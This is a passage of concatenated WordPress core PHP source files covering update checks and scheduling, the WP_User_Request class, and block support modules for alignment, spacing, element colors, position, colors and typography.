		$update_plugins = get_site_transient( 'update_plugins' );

		if ( ! empty( $update_plugins->response ) ) {
			$counts['plugins'] = count( $update_plugins->response );
		}
	}

	$themes = current_user_can( 'update_themes' );

	if ( $themes ) {
		$update_themes = get_site_transient( 'update_themes' );

		if ( ! empty( $update_themes->response ) ) {
			$counts['themes'] = count( $update_themes->response );
		}
	}

	$core = current_user_can( 'update_core' );

	if ( $core && function_exists( 'get_core_updates' ) ) {
		$update_wordpress = get_core_updates( array( 'dismissed' => false ) );

		if ( ! empty( $update_wordpress )
			&& ! in_array( $update_wordpress[0]->response, array( 'development', 'latest' ), true )
			&& current_user_can( 'update_core' )
		) {
			$counts['wordpress'] = 1;
		}
	}

	if ( ( $core || $plugins || $themes ) && wp_get_translation_updates() ) {
		$counts['translations'] = 1;
	}

	$counts['total'] = $counts['plugins'] + $counts['themes'] + $counts['wordpress'] + $counts['translations'];
	$titles          = array();

	if ( $counts['wordpress'] ) {
		/* translators: %d: Number of available WordPress updates. */
		$titles['wordpress'] = sprintf( __( '%d WordPress Update' ), $counts['wordpress'] );
	}

	if ( $counts['plugins'] ) {
		/* translators: %d: Number of available plugin updates. */
		$titles['plugins'] = sprintf( _n( '%d Plugin Update', '%d Plugin Updates', $counts['plugins'] ), $counts['plugins'] );
	}

	if ( $counts['themes'] ) {
		/* translators: %d: Number of available theme updates. */
		$titles['themes'] = sprintf( _n( '%d Theme Update', '%d Theme Updates', $counts['themes'] ), $counts['themes'] );
	}

	if ( $counts['translations'] ) {
		$titles['translations'] = __( 'Translation Updates' );
	}

	$update_title = $titles ? esc_attr( implode( ', ', $titles ) ) : '';

	$update_data = array(
		'counts' => $counts,
		'title'  => $update_title,
	);
	/**
	 * Filters the returned array of update data for plugins, themes, and WordPress core.
	 *
	 * @since 3.5.0
	 *
	 * @param array $update_data {
	 *     Fetched update data.
	 *
	 *     @type array   $counts       An array of counts for available plugin, theme, and WordPress updates.
	 *     @type string  $update_title Titles of available updates.
	 * }
	 * @param array $titles An array of update counts and UI strings for available updates.
	 */
	return apply_filters( 'wp_get_update_data', $update_data, $titles );
}

/**
 * Determines whether core should be updated.
 *
 * @since 2.8.0
 *
 * @global string $wp_version The WordPress version string.
 */
function _maybe_update_core() {
	// Include an unmodified $wp_version.
	require ABSPATH . WPINC . '/version.php';

	$current = get_site_transient( 'update_core' );

	if ( isset( $current->last_checked, $current->version_checked )
		&& 12 * HOUR_IN_SECONDS > ( time() - $current->last_checked )
		&& $current->version_checked === $wp_version
	) {
		return;
	}

	wp_version_check();
}
/**
 * Checks the last time plugins were run before checking plugin versions.
 *
 * This might have been backported to WordPress 2.6.1 for performance reasons.
 * This is used for the wp-admin to check only so often instead of every page
 * load.
 *
 * @since 2.7.0
 * @access private
 */
function _maybe_update_plugins() {
	$current = get_site_transient( 'update_plugins' );

	if ( isset( $current->last_checked )
		&& 12 * HOUR_IN_SECONDS > ( time() - $current->last_checked )
	) {
		return;
	}

	wp_update_plugins();
}

/**
 * Checks themes versions only after a duration of time.
 *
 * This is for performance reasons to make sure that on the theme version
 * checker is not run on every page load.
 *
 * @since 2.7.0
 * @access private
 */
function _maybe_update_themes() {
	$current = get_site_transient( 'update_themes' );

	if ( isset( $current->last_checked )
		&& 12 * HOUR_IN_SECONDS > ( time() - $current->last_checked )
	) {
		return;
	}

	wp_update_themes();
}

/**
 * Schedules core, theme, and plugin update checks.
 *
 * @since 3.1.0
 */
function wp_schedule_update_checks() {
	if ( ! wp_next_scheduled( 'wp_version_check' ) && ! wp_installing() ) {
		wp_schedule_event( time(), 'twicedaily', 'wp_version_check' );
	}

	if ( ! wp_next_scheduled( 'wp_update_plugins' ) && ! wp_installing() ) {
		wp_schedule_event( time(), 'twicedaily', 'wp_update_plugins' );
	}

	if ( ! wp_next_scheduled( 'wp_update_themes' ) && ! wp_installing() ) {
		wp_schedule_event( time(), 'twicedaily', 'wp_update_themes' );
	}
}

/**
 * Clears existing update caches for plugins, themes, and core.
 *
 * @since 4.1.0
 */
function wp_clean_update_cache() {
	if ( function_exists( 'wp_clean_plugins_cache' ) ) {
		wp_clean_plugins_cache();
	} else {
		delete_site_transient( 'update_plugins' );
	}

	wp_clean_themes_cache();

	delete_site_transient( 'update_core' );
}

/**
 * Schedules the removal of all contents in the temporary backup directory.
 *
 * @since 6.3.0
 */
function wp_delete_all_temp_backups() {
	/*
	 * Check if there is a lock, or if currently performing an Ajax request,
	 * in which case there is a chance an update is running.
	 * Reschedule for an hour from now and exit early.
	 */
	if ( get_option( 'core_updater.lock' ) || get_option( 'auto_updater.lock' ) || wp_doing_ajax() ) {
		wp_schedule_single_event( time() + HOUR_IN_SECONDS, 'wp_delete_temp_updater_backups' );
		return;
	}

	// This action runs on shutdown to make sure there are no plugin updates currently running.
	add_action( 'shutdown', '_wp_delete_all_temp_backups' );
}

/**
 * Deletes all contents in the temporary backup directory.
 *
 * @since 6.3.0
 *
 * @access private
 *
 * @global WP_Filesystem_Base $wp_filesystem WordPress filesystem subclass.
 *
 * @return void|WP_Error Void on success, or a WP_Error object on failure.
 */
function _wp_delete_all_temp_backups() {
	global $wp_filesystem;

	if ( ! function_exists( 'WP_Filesystem' ) ) {
		require_once ABSPATH . '/wp-admin/includes/file.php';
	}

	ob_start();
	$credentials = request_filesystem_credentials( '' );
	ob_end_clean();

	if ( false === $credentials || ! WP_Filesystem( $credentials ) ) {
		return new WP_Error( 'fs_unavailable', __( 'Could not access filesystem.' ) );
	}

	if ( ! $wp_filesystem->wp_content_dir() ) {
		return new WP_Error(
			'fs_no_content_dir',
			/* translators: %s: Directory name. */
			sprintf( __( 'Unable to locate WordPress content directory (%s).' ), 'wp-content' )
		);
	}

	$temp_backup_dir = $wp_filesystem->wp_content_dir() . 'upgrade-temp-backup/';
	$dirlist         = $wp_filesystem->dirlist( $temp_backup_dir );
	$dirlist         = $dirlist ? $dirlist : array();

	foreach ( array_keys( $dirlist ) as $dir ) {
		if ( '.' === $dir || '..' === $dir ) {
			continue;
		}

		$wp_filesystem->delete( $temp_backup_dir . $dir, true );
	}
}

if ( ( ! is_main_site() && ! is_network_admin() ) || wp_doing_ajax() ) {
	return;
}

add_action( 'admin_init', '_maybe_update_core' );
add_action( 'wp_version_check', 'wp_version_check' );

add_action( 'load-plugins.php', 'wp_update_plugins' );
add_action( 'load-update.php', 'wp_update_plugins' );
add_action( 'load-update-core.php', 'wp_update_plugins' );
add_action( 'admin_init', '_maybe_update_plugins' );
add_action( 'wp_update_plugins', 'wp_update_plugins' );

add_action( 'load-themes.php', 'wp_update_themes' );
add_action( 'load-update.php', 'wp_update_themes' );
add_action( 'load-update-core.php', 'wp_update_themes' );
add_action( 'admin_init', '_maybe_update_themes' );
add_action( 'wp_update_themes', 'wp_update_themes' );

add_action( 'update_option_WPLANG', 'wp_clean_update_cache', 10, 0 );

add_action( 'wp_maybe_auto_update', 'wp_maybe_auto_update' );

add_action( 'init', 'wp_schedule_update_checks' );

add_action( 'wp_delete_temp_updater_backups', 'wp_delete_all_temp_backups' );
<?php
/**
 * WP_User_Request class.
 *
 * Represents user request data loaded from a WP_Post object.
 *
 * @since 4.9.6
 */
#[AllowDynamicProperties]
final class WP_User_Request {
	/**
	 * Request ID.
	 *
	 * @since 4.9.6
	 * @var int
	 */
	public $ID = 0;

	/**
	 * User ID.
	 *
	 * @since 4.9.6
	 * @var int
	 */
	public $user_id = 0;

	/**
	 * User email.
	 *
	 * @since 4.9.6
	 * @var string
	 */
	public $email = '';

	/**
	 * Action name.
	 *
	 * @since 4.9.6
	 * @var string
	 */
	public $action_name = '';

	/**
	 * Current status.
	 *
	 * @since 4.9.6
	 * @var string
	 */
	public $status = '';

	/**
	 * Timestamp this request was created.
	 *
	 * @since 4.9.6
	 * @var int|null
	 */
	public $created_timestamp = null;

	/**
	 * Timestamp this request was last modified.
	 *
	 * @since 4.9.6
	 * @var int|null
	 */
	public $modified_timestamp = null;

	/**
	 * Timestamp this request was confirmed.
	 *
	 * @since 4.9.6
	 * @var int|null
	 */
	public $confirmed_timestamp = null;

	/**
	 * Timestamp this request was completed.
	 *
	 * @since 4.9.6
	 * @var int|null
	 */
	public $completed_timestamp = null;

	/**
	 * Misc data assigned to this request.
	 *
	 * @since 4.9.6
	 * @var array
	 */
	public $request_data = array();

	/**
	 * Key used to confirm this request.
	 *
	 * @since 4.9.6
	 * @var string
	 */
	public $confirm_key = '';

	/**
	 * Constructor.
	 *
	 * @since 4.9.6
	 *
	 * @param WP_Post|object $post Post object.
	 */
	public function __construct( $post ) {
		$this->ID                  = $post->ID;
		$this->user_id             = $post->post_author;
		$this->email               = $post->post_title;
		$this->action_name         = $post->post_name;
		$this->status              = $post->post_status;
		$this->created_timestamp   = strtotime( $post->post_date_gmt );
		$this->modified_timestamp  = strtotime( $post->post_modified_gmt );
		$this->confirmed_timestamp = (int) get_post_meta( $post->ID, '_wp_user_request_confirmed_timestamp', true );
		$this->completed_timestamp = (int) get_post_meta( $post->ID, '_wp_user_request_completed_timestamp', true );
		$this->request_data        = json_decode( $post->post_content, true );
		$this->confirm_key         = $post->post_password;
	}
}
<?php
/**
 * Align block support flag.
 *
 * @package WordPress
 * @since 5.6.0
 */

/**
 * Registers the align block attribute for block types that support it.
 *
 * @since 5.6.0
 * @access private
 *
 * @param WP_Block_Type $block_type Block Type.
 */
function wp_register_alignment_support( $block_type ) {
	$has_align_support = block_has_support( $block_type, 'align', false );
	if ( $has_align_support ) {
		if ( ! $block_type->attributes ) {
			$block_type->attributes = array();
		}

		if ( ! array_key_exists( 'align', $block_type->attributes ) ) {
			$block_type->attributes['align'] = array(
				'type' => 'string',
				'enum' => array( 'left', 'center', 'right', 'wide', 'full', '' ),
			);
		}
	}
}

/**
 * Adds CSS classes for block alignment to the incoming attributes array.
 * This will be applied to the block markup in the front-end.
 *
 * @since 5.6.0
 * @access private
 *
 * @param WP_Block_Type $block_type       Block Type.
 * @param array         $block_attributes Block attributes.
 * @return array Block alignment CSS classes and inline styles.
 */
function wp_apply_alignment_support( $block_type, $block_attributes ) {
	$attributes        = array();
	$has_align_support = block_has_support( $block_type, 'align', false );
	if ( $has_align_support ) {
		$has_block_alignment = array_key_exists( 'align', $block_attributes );

		if ( $has_block_alignment ) {
			$attributes['class'] = sprintf( 'align%s', $block_attributes['align'] );
		}
	}

	return $attributes;
}

// Register the block support.
WP_Block_Supports::get_instance()->register(
	'align',
	array(
		'register_attribute' => 'wp_register_alignment_support',
		'apply'              => 'wp_apply_alignment_support',
	)
);
<?php
/**
 * Spacing block support flag.
 *
 * For backwards compatibility, this remains separate to the dimensions.php
 * block support despite both belonging under a single panel in the editor.
 *
 * @package WordPress
 * @since 5.8.0
 */

/**
 * Registers the style block attribute for block types that support it.
 *
 * @since 5.8.0
 * @access private
 *
 * @param WP_Block_Type $block_type Block Type.
 */
function wp_register_spacing_support( $block_type ) {
	$has_spacing_support = block_has_support( $block_type, 'spacing', false );

	// Setup attributes and styles within that if needed.
	if ( ! $block_type->attributes ) {
		$block_type->attributes = array();
	}

	if ( $has_spacing_support && ! array_key_exists( 'style', $block_type->attributes ) ) {
		$block_type->attributes['style'] = array(
			'type' => 'object',
		);
	}
}

/**
 * Adds CSS classes for block spacing to the incoming attributes array.
 * This will be applied to the block markup in the front-end.
 *
 * @since 5.8.0
 * @since 6.1.0 Implemented the style engine to generate CSS and classnames.
 * @access private
 *
 * @param WP_Block_Type $block_type       Block Type.
 * @param array         $block_attributes Block attributes.
 * @return array Block spacing CSS classes and inline styles.
 */
function wp_apply_spacing_support( $block_type, $block_attributes ) {
	if ( wp_should_skip_block_supports_serialization( $block_type, 'spacing' ) ) {
		return array();
	}

	$attributes          = array();
	$has_padding_support = block_has_support( $block_type, array( 'spacing', 'padding' ), false );
	$has_margin_support  = block_has_support( $block_type, array( 'spacing', 'margin' ), false );
	$block_styles        = isset( $block_attributes['style'] ) ? $block_attributes['style'] : null;

	if ( ! $block_styles ) {
		return $attributes;
	}

	$skip_padding         = wp_should_skip_block_supports_serialization( $block_type, 'spacing', 'padding' );
	$skip_margin          = wp_should_skip_block_supports_serialization( $block_type, 'spacing', 'margin' );
	$spacing_block_styles = array(
		'padding' => null,
		'margin'  => null,
	);
	if ( $has_padding_support && ! $skip_padding ) {
		$spacing_block_styles['padding'] = isset( $block_styles['spacing']['padding'] ) ? $block_styles['spacing']['padding'] : null;
	}
	if ( $has_margin_support && ! $skip_margin ) {
		$spacing_block_styles['margin'] = isset( $block_styles['spacing']['margin'] ) ? $block_styles['spacing']['margin'] : null;
	}
	$styles = wp_style_engine_get_styles( array( 'spacing' => $spacing_block_styles ) );

	if ( ! empty( $styles['css'] ) ) {
		$attributes['style'] = $styles['css'];
	}

	return $attributes;
}

// Register the block support.
WP_Block_Supports::get_instance()->register(
	'spacing',
	array(
		'register_attribute' => 'wp_register_spacing_support',
		'apply'              => 'wp_apply_spacing_support',
	)
);
<?php
/**
 * Elements styles block support.
 *
 * @package WordPress
 * @since 5.8.0
 */

/**
 * Gets the elements class names.
 *
 * @since 6.0.0
 * @access private
 *
 * @param array $block Block object.
 * @return string The unique class name.
 */
function wp_get_elements_class_name( $block ) {
	return 'wp-elements-' . md5( serialize( $block ) );
}

/**
 * Updates the block content with elements class names.
 *
 * @since 5.8.0
 * @since 6.4.0 Added support for button and heading element styling.
 * @access private
 *
 * @param string $block_content Rendered block content.
 * @param array  $block         Block object.
 * @return string Filtered block content.
 */
function wp_render_elements_support( $block_content, $block ) {
	if ( ! $block_content || ! isset( $block['attrs']['style']['elements'] ) ) {
		return $block_content;
	}

	$block_type = WP_Block_Type_Registry::get_instance()->get_registered( $block['blockName'] );
	if ( ! $block_type ) {
		return $block_content;
	}

	$element_color_properties = array(
		'button'  => array(
			'skip'  => wp_should_skip_block_supports_serialization( $block_type, 'color', 'button' ),
			'paths' => array(
				array( 'button', 'color', 'text' ),
				array( 'button', 'color', 'background' ),
				array( 'button', 'color', 'gradient' ),
			),
		),
		'link'    => array(
			'skip'  => wp_should_skip_block_supports_serialization( $block_type, 'color', 'link' ),
			'paths' => array(
				array( 'link', 'color', 'text' ),
				array( 'link', ':hover', 'color', 'text' ),
			),
		),
		'heading' => array(
			'skip'  => wp_should_skip_block_supports_serialization( $block_type, 'color', 'heading' ),
			'paths' => array(
				array( 'heading', 'color', 'text' ),
				array( 'heading', 'color', 'background' ),
				array( 'heading', 'color', 'gradient' ),
				array( 'h1', 'color', 'text' ),
				array( 'h1', 'color', 'background' ),
				array( 'h1', 'color', 'gradient' ),
				array( 'h2', 'color', 'text' ),
				array( 'h2', 'color', 'background' ),
				array( 'h2', 'color', 'gradient' ),
				array( 'h3', 'color', 'text' ),
				array( 'h3', 'color', 'background' ),
				array( 'h3', 'color', 'gradient' ),
				array( 'h4', 'color', 'text' ),
				array( 'h4', 'color', 'background' ),
				array( 'h4', 'color', 'gradient' ),
				array( 'h5', 'color', 'text' ),
				array( 'h5', 'color', 'background' ),
				array( 'h5', 'color', 'gradient' ),
				array( 'h6', 'color', 'text' ),
				array( 'h6', 'color', 'background' ),
				array( 'h6', 'color', 'gradient' ),
			),
		),
	);

	$skip_all_element_color_serialization = $element_color_properties['button']['skip'] &&
		$element_color_properties['link']['skip'] &&
		$element_color_properties['heading']['skip'];

	if ( $skip_all_element_color_serialization ) {
		return $block_content;
	}

	$elements_style_attributes = $block['attrs']['style']['elements'];

	foreach ( $element_color_properties as $element_config ) {
		if ( $element_config['skip'] ) {
			continue;
		}

		foreach ( $element_config['paths'] as $path ) {
			if ( null !== _wp_array_get( $elements_style_attributes, $path, null ) ) {
				/*
				 * It only takes a single custom attribute to require that the custom
				 * class name be added to the block, so once one is found there's no
				 * need to continue looking for others.
				 *
				 * As is done with the layout hook, this code assumes that the block
				 * contains a single wrapper and that it's the first element in the
				 * rendered output. That first element, if it exists, gets the class.
				 */
				$tags = new WP_HTML_Tag_Processor( $block_content );
				if ( $tags->next_tag() ) {
					$tags->add_class( wp_get_elements_class_name( $block ) );
				}

				return $tags->get_updated_html();
			}
		}
	}

	// If no custom attributes were found then there's nothing to modify.
	return $block_content;
}

/**
 * Renders the elements stylesheet.
 *
 * In the case of nested blocks we want the parent element styles to be rendered before their descendants.
 * This solves the issue of an element (e.g.: link color) being styled in both the parent and a descendant:
 * we want the descendant style to take priority, and this is done by loading it after, in DOM order.
 *
 * @since 6.0.0
 * @since 6.1.0 Implemented the style engine to generate CSS and classnames.
 * @access private
 *
 * @param string|null $pre_render The pre-rendered content. Default null.
 * @param array       $block      The block being rendered.
 * @return null
 */
function wp_render_elements_support_styles( $pre_render, $block ) {
	$block_type           = WP_Block_Type_Registry::get_instance()->get_registered( $block['blockName'] );
	$element_block_styles = isset( $block['attrs']['style']['elements'] ) ? $block['attrs']['style']['elements'] : null;

	if ( ! $element_block_styles ) {
		return null;
	}

	$skip_link_color_serialization         = wp_should_skip_block_supports_serialization( $block_type, 'color', 'link' );
	$skip_heading_color_serialization      = wp_should_skip_block_supports_serialization( $block_type, 'color', 'heading' );
	$skip_button_color_serialization       = wp_should_skip_block_supports_serialization( $block_type, 'color', 'button' );
	$skips_all_element_color_serialization = $skip_link_color_serialization &&
		$skip_heading_color_serialization &&
		$skip_button_color_serialization;

	if ( $skips_all_element_color_serialization ) {
		return null;
	}

	$class_name = wp_get_elements_class_name( $block );

	$element_types = array(
		'button'  => array(
			'selector' => ".$class_name .wp-element-button, .$class_name .wp-block-button__link",
			'skip'     => $skip_button_color_serialization,
		),
		'link'    => array(
			'selector'       => ".$class_name a:where(:not(.wp-element-button))",
			'hover_selector' => ".$class_name a:where(:not(.wp-element-button)):hover",
			'skip'           => $skip_link_color_serialization,
		),
		'heading' => array(
			'selector' => ".$class_name h1, .$class_name h2, .$class_name h3, .$class_name h4, .$class_name h5, .$class_name h6",
			'skip'     => $skip_heading_color_serialization,
			'elements' => array( 'h1', 'h2', 'h3', 'h4', 'h5', 'h6' ),
		),
	);

	foreach ( $element_types as $element_type => $element_config ) {
		if ( $element_config['skip'] ) {
			continue;
		}

		$element_style_object = isset( $element_block_styles[ $element_type ] ) ? $element_block_styles[ $element_type ] : null;

		// Process primary element type styles.
		if ( $element_style_object ) {
			wp_style_engine_get_styles(
				$element_style_object,
				array(
					'selector' => $element_config['selector'],
					'context'  => 'block-supports',
				)
			);

			if ( isset( $element_style_object[':hover'] ) ) {
				wp_style_engine_get_styles(
					$element_style_object[':hover'],
					array(
						'selector' => $element_config['hover_selector'],
						'context'  => 'block-supports',
					)
				);
			}
		}

		// Process related elements e.g. h1-h6 for headings.
		if ( isset( $element_config['elements'] ) ) {
			foreach ( $element_config['elements'] as $element ) {
				$element_style_object = isset( $element_block_styles[ $element ] )
					? $element_block_styles[ $element ]
					: null;

				if ( $element_style_object ) {
					wp_style_engine_get_styles(
						$element_style_object,
						array(
							'selector' => ".$class_name $element",
							'context'  => 'block-supports',
						)
					);
				}
			}
		}
	}

	return null;
}

add_filter( 'render_block', 'wp_render_elements_support', 10, 2 );
add_filter( 'pre_render_block', 'wp_render_elements_support_styles', 10, 2 );
<?php
/**
 * Position block support flag.
 *
 * @package WordPress
 * @since 6.2.0
 */

/**
 * Registers the style block attribute for block types that support it.
 *
 * @since 6.2.0
 * @access private
 *
 * @param WP_Block_Type $block_type Block Type.
 */
function wp_register_position_support( $block_type ) {
	$has_position_support = block_has_support( $block_type, 'position', false );

	// Set up attributes and styles within that if needed.
	if ( ! $block_type->attributes ) {
		$block_type->attributes = array();
	}

	if ( $has_position_support && ! array_key_exists( 'style', $block_type->attributes ) ) {
		$block_type->attributes['style'] = array(
			'type' => 'object',
		);
	}
}

/**
 * Renders position styles to the block wrapper.
 *
 * @since 6.2.0
 * @access private
 *
 * @param  string $block_content Rendered block content.
 * @param  array  $block         Block object.
 * @return string                Filtered block content.
 */
function wp_render_position_support( $block_content, $block ) {
	$block_type           = WP_Block_Type_Registry::get_instance()->get_registered( $block['blockName'] );
	$has_position_support = block_has_support( $block_type, 'position', false );

	if (
		! $has_position_support ||
		empty( $block['attrs']['style']['position'] )
	) {
		return $block_content;
	}

	$global_settings          = wp_get_global_settings();
	$theme_has_sticky_support = isset( $global_settings['position']['sticky'] ) ? $global_settings['position']['sticky'] : false;
	$theme_has_fixed_support  = isset( $global_settings['position']['fixed'] ) ? $global_settings['position']['fixed'] : false;

	// Only allow output for position types that the theme supports.
	$allowed_position_types = array();
	if ( true === $theme_has_sticky_support ) {
		$allowed_position_types[] = 'sticky';
	}
	if ( true === $theme_has_fixed_support ) {
		$allowed_position_types[] = 'fixed';
	}

	$style_attribute = isset( $block['attrs']['style'] ) ? $block['attrs']['style'] : null;
	$class_name      = wp_unique_id( 'wp-container-' );
	$selector        = ".$class_name";
	$position_styles = array();
	$position_type   = isset( $style_attribute['position']['type'] ) ? $style_attribute['position']['type'] : '';
	$wrapper_classes = array();

	if (
		in_array( $position_type, $allowed_position_types, true )
	) {
		$wrapper_classes[] = $class_name;
		$wrapper_classes[] = 'is-position-' . $position_type;
		$sides             = array( 'top', 'right', 'bottom', 'left' );

		foreach ( $sides as $side ) {
			$side_value = isset( $style_attribute['position'][ $side ] ) ? $style_attribute['position'][ $side ] : null;
			if ( null !== $side_value ) {
				/*
				 * For fixed or sticky top positions,
				 * ensure the value includes an offset for the logged in admin bar.
				 */
				if (
					'top' === $side &&
					( 'fixed' === $position_type || 'sticky' === $position_type )
				) {
					// Ensure 0 values can be used in `calc()` calculations.
					if ( '0' === $side_value || 0 === $side_value ) {
						$side_value = '0px';
					}

					// Ensure current side value also factors in the height of the logged in admin bar.
					$side_value = "calc($side_value + var(--wp-admin--admin-bar--position-offset, 0px))";
				}

				$position_styles[] =
					array(
						'selector'     => $selector,
						'declarations' => array(
							$side => $side_value,
						),
					);
			}
		}

		$position_styles[] =
			array(
				'selector'     => $selector,
				'declarations' => array(
					'position' => $position_type,
					'z-index'  => '10',
				),
			);
	}

	if ( ! empty( $position_styles ) ) {
		/*
		 * Add to the style engine store to enqueue and render position styles.
		 */
		wp_style_engine_get_stylesheet_from_css_rules(
			$position_styles,
			array(
				'context'  => 'block-supports',
				'prettify' => false,
			)
		);

		// Inject class name to block container markup.
		$content = new WP_HTML_Tag_Processor( $block_content );
		$content->next_tag();
		foreach ( $wrapper_classes as $class ) {
			$content->add_class( $class );
		}
		return (string) $content;
	}

	return $block_content;
}

// Register the block support.
WP_Block_Supports::get_instance()->register(
	'position',
	array(
		'register_attribute' => 'wp_register_position_support',
	)
);
add_filter( 'render_block', 'wp_render_position_support', 10, 2 );
<?php
/**
 * Colors block support flag.
 *
 * @package WordPress
 * @since 5.6.0
 */

/**
 * Registers the style and colors block attributes for block types that support it.
 *
 * @since 5.6.0
 * @since 6.1.0 Improved $color_support assignment optimization.
 * @access private
 *
 * @param WP_Block_Type $block_type Block Type.
 */
function wp_register_colors_support( $block_type ) {
	$color_support = false;
	if ( $block_type instanceof WP_Block_Type ) {
		$color_support = isset( $block_type->supports['color'] ) ? $block_type->supports['color'] : false;
	}
	$has_text_colors_support       = true === $color_support ||
		( isset( $color_support['text'] ) && $color_support['text'] ) ||
		( is_array( $color_support ) && ! isset( $color_support['text'] ) );
	$has_background_colors_support = true === $color_support ||
		( isset( $color_support['background'] ) && $color_support['background'] ) ||
		( is_array( $color_support ) && ! isset( $color_support['background'] ) );
	$has_gradients_support         = isset( $color_support['gradients'] ) ? $color_support['gradients'] : false;
	$has_link_colors_support       = isset( $color_support['link'] ) ? $color_support['link'] : false;
	$has_button_colors_support     = isset( $color_support['button'] ) ? $color_support['button'] : false;
	$has_heading_colors_support    = isset( $color_support['heading'] ) ? $color_support['heading'] : false;
	$has_color_support             = $has_text_colors_support ||
		$has_background_colors_support ||
		$has_gradients_support ||
		$has_link_colors_support ||
		$has_button_colors_support ||
		$has_heading_colors_support;

	if ( ! $block_type->attributes ) {
		$block_type->attributes = array();
	}

	if ( $has_color_support && ! array_key_exists( 'style', $block_type->attributes ) ) {
		$block_type->attributes['style'] = array(
			'type' => 'object',
		);
	}

	if ( $has_background_colors_support && ! array_key_exists( 'backgroundColor', $block_type->attributes ) ) {
		$block_type->attributes['backgroundColor'] = array(
			'type' => 'string',
		);
	}

	if ( $has_text_colors_support && ! array_key_exists( 'textColor', $block_type->attributes ) ) {
		$block_type->attributes['textColor'] = array(
			'type' => 'string',
		);
	}

	if ( $has_gradients_support && ! array_key_exists( 'gradient', $block_type->attributes ) ) {
		$block_type->attributes['gradient'] = array(
			'type' => 'string',
		);
	}
}


/**
 * Adds CSS classes and inline styles for colors to the incoming attributes array.
 * This will be applied to the block markup in the front-end.
 *
 * @since 5.6.0
 * @since 6.1.0 Implemented the style engine to generate CSS and classnames.
 * @access private
 *
 * @param  WP_Block_Type $block_type       Block type.
 * @param  array         $block_attributes Block attributes.
 *
 * @return array Colors CSS classes and inline styles.
 */
function wp_apply_colors_support( $block_type, $block_attributes ) {
	$color_support = isset( $block_type->supports['color'] ) ? $block_type->supports['color'] : false;

	if (
		is_array( $color_support ) &&
		wp_should_skip_block_supports_serialization( $block_type, 'color' )
	) {
		return array();
	}

	$has_text_colors_support       = true === $color_support ||
		( isset( $color_support['text'] ) && $color_support['text'] ) ||
		( is_array( $color_support ) && ! isset( $color_support['text'] ) );
	$has_background_colors_support = true === $color_support ||
		( isset( $color_support['background'] ) && $color_support['background'] ) ||
		( is_array( $color_support ) && ! isset( $color_support['background'] ) );
	$has_gradients_support         = isset( $color_support['gradients'] ) ? $color_support['gradients'] : false;
	$color_block_styles            = array();

	// Text colors.
	if ( $has_text_colors_support && ! wp_should_skip_block_supports_serialization( $block_type, 'color', 'text' ) ) {
		$preset_text_color          = array_key_exists( 'textColor', $block_attributes ) ? "var:preset|color|{$block_attributes['textColor']}" : null;
		$custom_text_color          = isset( $block_attributes['style']['color']['text'] ) ? $block_attributes['style']['color']['text'] : null;
		$color_block_styles['text'] = $preset_text_color ? $preset_text_color : $custom_text_color;
	}

	// Background colors.
	if ( $has_background_colors_support && ! wp_should_skip_block_supports_serialization( $block_type, 'color', 'background' ) ) {
		$preset_background_color          = array_key_exists( 'backgroundColor', $block_attributes ) ? "var:preset|color|{$block_attributes['backgroundColor']}" : null;
		$custom_background_color          = isset( $block_attributes['style']['color']['background'] ) ? $block_attributes['style']['color']['background'] : null;
		$color_block_styles['background'] = $preset_background_color ? $preset_background_color : $custom_background_color;
	}

	// Gradients.
	if ( $has_gradients_support && ! wp_should_skip_block_supports_serialization( $block_type, 'color', 'gradients' ) ) {
		$preset_gradient_color          = array_key_exists( 'gradient', $block_attributes ) ? "var:preset|gradient|{$block_attributes['gradient']}" : null;
		$custom_gradient_color          = isset( $block_attributes['style']['color']['gradient'] ) ? $block_attributes['style']['color']['gradient'] : null;
		$color_block_styles['gradient'] = $preset_gradient_color ? $preset_gradient_color : $custom_gradient_color;
	}

	$attributes = array();
	$styles     = wp_style_engine_get_styles( array( 'color' => $color_block_styles ), array( 'convert_vars_to_classnames' => true ) );

	if ( ! empty( $styles['classnames'] ) ) {
		$attributes['class'] = $styles['classnames'];
	}

	if ( ! empty( $styles['css'] ) ) {
		$attributes['style'] = $styles['css'];
	}

	return $attributes;
}

// Register the block support.
WP_Block_Supports::get_instance()->register(
	'colors',
	array(
		'register_attribute' => 'wp_register_colors_support',
		'apply'              => 'wp_apply_colors_support',
	)
);
<?php
/**
 * Typography block support flag.
 *
 * @package WordPress
 * @since 5.6.0
 */

/**
 * Registers the style and typography block attributes for block types that support it.
 *
 * @since 5.6.0
 * @since 6.3.0 Added support for text-columns.
 * @access private
 *
 * @param WP_Block_Type $block_type Block Type.
 */
function wp_register_typography_support( $block_type ) {
	if ( ! ( $block_type instanceof WP_Block_Type ) ) {
		return;
	}

	$typography_supports = isset( $block_type->supports['typography'] ) ? $block_type->supports['typography'] : false;
	if ( ! $typography_supports ) {
		return;
	}

	$has_font_family_support     = isset( $typography_supports['__experimentalFontFamily'] ) ? $typography_supports['__experimentalFontFamily'] : false;
	$has_font_size_support       = isset( $typography_supports['fontSize'] ) ? $typography_supports['fontSize'] : false;
	$has_font_style_support      = isset( $typography_supports['__experimentalFontStyle'] ) ? $typography_supports['__experimentalFontStyle'] : false;
	$has_font_weight_support     = isset( $typography_supports['__experimentalFontWeight'] ) ? $typography_supports['__experimentalFontWeight'] : false;
	$has_letter_spacing_support  = isset( $typography_supports['__experimentalLetterSpacing'] ) ? $typography_supports['__experimentalLetterSpacing'] : false;
	$has_line_height_support     = isset( $typography_supports['lineHeight'] ) ? $typography_supports['lineHeight'] : false;
	$has_text_columns_support    = isset( $typography_supports['textColumns'] ) ? $typography_supports['textColumns'] : false;
	$has_text_decoration_support = isset( $typography_supports['__experimentalTextDecoration'] ) ? $typography_supports['__experimentalTextDecoration'] : false;
	$has_text_transform_support  = isset( $typography_supports['__experimentalTextTransform'] ) ? $typography_supports['__experimentalTextTransform'] : false;
	$has_writing_mode_support    = isset( $typography_supports['__experimentalWritingMode'] ) ? $typography_supports['__experimentalWritingMode'] : false;

	$has_typography_support = $has_font_family_support
		|| $has_font_size_support
		|| $has_font_style_support
		|| $has_font_weight_support
		|| $has_letter_spacing_support
		|| $has_line_height_support
		|| $has_text_columns_support
		|| $has_text_decoration_support
		|| $has_text_transform_support
		|| $has_writing_mode_support;

	if ( ! $block_type->attributes ) {
		$block_type->attributes = array();
	}

	if ( $has_typography_support && ! array_key_exists( 'style', $block_type->attributes ) ) {
		$block_type->attributes['style'] = array(
			'type' => 'object',
		);
	}

	if ( $has_font_size_support && ! array_key_exists( 'fontSize', $block_type->attributes ) ) {
		$block_type->attributes['fontSize'] = array(
			'type' => 'string',
		);
	}

	if ( $has_font_family_support && ! array_key_exists( 'fontFamily', $block_type->attributes ) ) {
